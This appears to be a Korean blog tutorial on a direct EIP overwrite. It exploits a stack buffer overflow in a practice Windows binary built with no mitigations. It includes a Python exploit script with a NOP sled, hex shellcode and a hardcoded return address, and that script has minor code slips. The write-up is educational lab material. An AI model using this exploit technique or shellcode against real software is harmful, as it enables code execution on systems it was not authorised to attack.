본문 바로가기

IT/시스템 해킹(System Hacking)

[Windows System Hacking] Direct EIP Overwrite

[*] 해당 문서는 서적 [윈도우 시스템 해킹 가이드 - 버그헌팅과 익스플로잇]을 참고하여 작성하였습니다. 

 

Windows System Hacking 연구를 위해서 학습을 진행하며

여러가지 공격기법에 대하여 정리하려고 한다.

해당 문서는 Stack 기반의 Buffer Over Flow를 이용한 Return Address 변조에 관한 문서이다.

 

[실습 바이너리 & 익스플로잇 코드]

Direct EIP Overwrite.zip
0.04MB

 


[ 실습 환경 ]

테스트 환경 : Windows 10 Pro 64bit

테스트 대상 : BufferOverFlow.exe[Non ASLR, Non DEP, Non StackGuard, Non safeSEH]

테스트 도구 : OllyDBG 110, IDA Pro 7.0

 

우선 테스트 환경은 Windows 10 Pro 64bit 버전 하에서 

어떠한 보호기법(Mitigation)도 걸려있지 않은 바이너리를 익스플로잇(Exploit) 해보려고한다.

테스트 도구로는 다음과 같이 OllyDBG 110을 이용하였다.

 

 

[ 바이너리 분석 ]

 

그림1. 바이너리 분석

 

해당 바이너리의 소스코드를 확인해본 결과

프로그램의 실행 인자로 파일 명을 입력받아 해당 파일을 읽은 후

해당 파일의 내용을 특정한 버퍼(f_Buf)에 저장한다.

다음과 같이 스택내의 존재하는 버퍼(s_Buf)의 사이즈는 0x1f4(500)바이트이지만

총 2000바이트를 검증없이 입력받기에 Return Address가 조작된다.

 

이를 토대로 총 504바이트(Buffer+SFP)를 입력 후 변조할 4바이트(RET) 입력 시 EIP가 변조될 것이다.

 

그림2. EIP Control

 

다음과 같이 EIP0x41414141로 변조된 것을 확인할 수 있다.

 

Exploit을 작성하기 위해서 메모리를 분석해보자.

 

그림3. 스택 상황

 

스택을 확인해본 결과 ASLR이 적용되어 있지 않아서 스택의 주소가 고정되어 있으며

DEP가 적용되어 있지 않아서 스택 메모리에서 코드 실행이 가능하므로 스택 버퍼에 쉘코드를 로드하겠다.

그 후 Return Address를 스택의 주소로 변조하면 스택에 로드된 쉘코드가 실행될 것이다.

 

그림3. Return Address 선별

 

다음과 같이 스택의 Nop Sled를 로드 후 Stack의 주소 중 적당한 곳으로

Return Address를 변조하면 정상적으로 익스플로잇(Exploit)이 가능할 것이다.

 

[ 바이너리 공격 ]

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import struct
 
print("[*] Creat text file")
 
NOP = "\x90" * 100
 
SHELLCODE  = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x41\x45"
SHELLCODE += "\x21\x01\x68\x47\x41\x45\x47\x68\x20\x47\x41\x45\x89\xe1\xfe"
SHELLCODE += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"
 
print("Shellcode Length : " + len(SHELLCODE))
 
DUMMY = "A"*(504-len(NOP+SHELLCODE))
BUF = struct.pack('<L',0x19fd7a)
contents = NOP + SHELLCODE + DUMMY + BUF
 
= open("test.txt","w")
f.write(contents)
f.close()
 
 

 

 

그림4. Exploit Success!

 

다음과 같이 공격자의 의도대로 코드가 실행된 것을 확인할 수 있다.

 


[ 한계점 ]

앞서 이야기하였듯이 해당 바이너리에는 어떠한 보호기법(mitigation)도 적용되어 있지 않았다.

 

ASLR이 적용되어 있지 않아 쉘코드의 주소를 예상할 수 있었으며

StackGuard가 적용되어 있지 않아 Buffer Over Flow가 가능했으며

DEP가 적용되어 있지 않아 스택에서의 코드가 실행될 수 있었다.

 

해당 기법을 고려하여 익스플로잇(Exploit)하는 방법을 각자 생각해보자.